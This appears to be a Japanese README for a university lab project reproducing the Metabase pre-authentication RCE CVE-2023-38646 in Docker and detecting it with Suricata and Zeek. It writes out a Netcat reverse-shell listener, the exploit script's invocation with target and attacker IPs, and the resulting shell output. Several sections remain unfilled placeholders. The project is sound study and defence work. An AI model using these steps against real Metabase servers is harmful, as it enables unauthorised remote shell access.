
CVE-2023-38646
このリポジトリは、Metabase の脆弱なバージョンに影響を及ぼす、認証前のリモートコード実行(RCE) の重大な脆弱性である CVE-2023-38646 を分析する概念実証(PoC)セキュリティ研究プロジェクトを文書化したものです。
このプロジェクトの目的は、実世界の脆弱性の完全なライフサイクルを実証することです。具体的には次の内容を含みます。
このリポジトリは、以下の実践的スキルを紹介することを目的としています。
CVE-2023-38646 は、オープンソースのビジネスインテリジェンス/分析プラットフォームである Metabase の特定バージョンに影響を及ぼす重大な脆弱性です。
この脆弱性により、攻撃者はアプリケーションのセットアップまたは設定プロセスの弱点を悪用して、認証なしのリモートコード実行を達成できます。
主な詳細:
悪用に成功すると、攻撃者は以下を実行できます。
公式リファレンス:
このプロジェクトは、攻撃的セキュリティツールと防御的監視ツールの両方を組み合わせています。
プレースホルダー — ラボ設定を説明してください
例:
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]
このダイアグラムは、このプロジェクトで使用される高レベルの攻撃フローを示しています。
Docker のインストールとセットアップ:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Docker の起動:
脆弱な Metabase Enterprise インスタンス(v1.44.0)が Docker を使用してデプロイされました。
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
これにより、Metabase の Web インターフェースがポート 3000 で公開され、セットアップページへのアクセスが可能になります。
Docker がすでに実行中の場合は、以下のコマンドラインを実行して新たに開始します。
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
『Docker セットアップ』プレースホルダー
コンテナが実行されると、Metabase インターフェースがブラウザからアクセス可能になります。
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
セットアップページは、Metabase インスタンスがアクティブで設定可能な状態であることを確認します。
BurpSuite
スクリーンショットまたは説明のプレースホルダー
エクスプロイトを起動する前に、Netcat リスナーを攻撃マシン上で開始し、リバースシェル接続を受信します。
nc -lvnp 6666
このリスナーは、エクスプロイトされた Metabase サーバーからの着信接続を待機します。
スクリーンショットまたは説明のプレースホルダー
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
ペイロードは、攻撃マシンへのリバースシェルを確立するコマンドを実行します。
Netcat リスナーが接続を受信し、攻撃者にシステムへのシェルアクセスを許可します。
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
被害者のデバイスへの接続を確認するには:
whoami
出力:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
このプロジェクトでは、ネットワーク監視ツールを使用してエクスプロイト活動を検知する方法も実証します。
Suricata(IDS)を使用して、エクスプロイトに関連する不審なパターンのネットワークトラフィックを監視しました。
sudo suricata -i eth0
プレースホルダー: Suricata アラートのスクリーンショットを挿入
evidence/detection/suricata_alert.png
アラートをリアルタイムで観察するために、Suricata ログを次のコマンドで監視しました。
tail -f /var/log/suricata/fast.log
プレースホルダー: Suricata ログのスクリーンショットを挿入
evidence/detection/suricata_log.png
受動的なアプローチとして、Suricata が不審なトラフィックを検知するたびにデスクトップアラートを生成するカスタム通知スクリプトを使用しました。
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
エクスプロイトが実行されると、Suricata は Metabase エクスプロイト試行に関連する不審なアクティビティを示すアラートを生成しました。
プレースホルダー: Suricata ログのスクリーンショットを挿入
evidence/detection/suricata_noti.png
例:
プレースホルダー: Suricata ログのスクリーンショットを挿入
evidence/detection/suricata_noti.png
IDS 監視に加えて、Zeek を使用してネットワークトラフィックを分析し、異常な動作を特定しました。
Zeek は次のコマンドで起動し、ネットワークトラフィックのキャプチャと分析を開始します。
sudo /usr/local/zeek/bin/zeek -i eth0
プレースホルダー: Zeek 起動のスクリーンショットを挿入
evidence/detection/zeek.png
接続ログを検査することで、ポート 6666 のリバースシェルトラフィックを観察できます。
192.168.1.136 → 192.168.1.137:6666
プレースホルダー: Zeek ログのスクリーンショットを挿入
evidence/detection/zeek_log.png
いくつかの緩和戦略により、エクスプロイトのリスクを低減できます。
| 戦略 | 説明 |
|---|---|
| パッチ管理 | CVE-2023-38646 を修正したバージョンに Metabase をアップグレードする |
| Web アプリケーションファイアウォール(ModSecurity) | 悪意のある HTTP リクエストをフィルタリングする |
| ホスト型侵入検知(OSSEC) | 不審なシステム動作を監視する |
| ネットワーク監視(Suricata & Zeek) | 異常なトラフィックパターンを検知する |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
このプロジェクトは、実世界の重大な脆弱性を分析・再現する完全なライフサイクルを実証します。
PoC は以下を示します。
このリポジトリの目的は、攻撃的および防御的なサイバーセキュリティ実践の両方を示す技術ケーススタディを提供することです。
Styverson Ng
情報技術学士
人工知能&自律システム
サイバーセキュリティ&サイバーフォレンジックス
マードック大学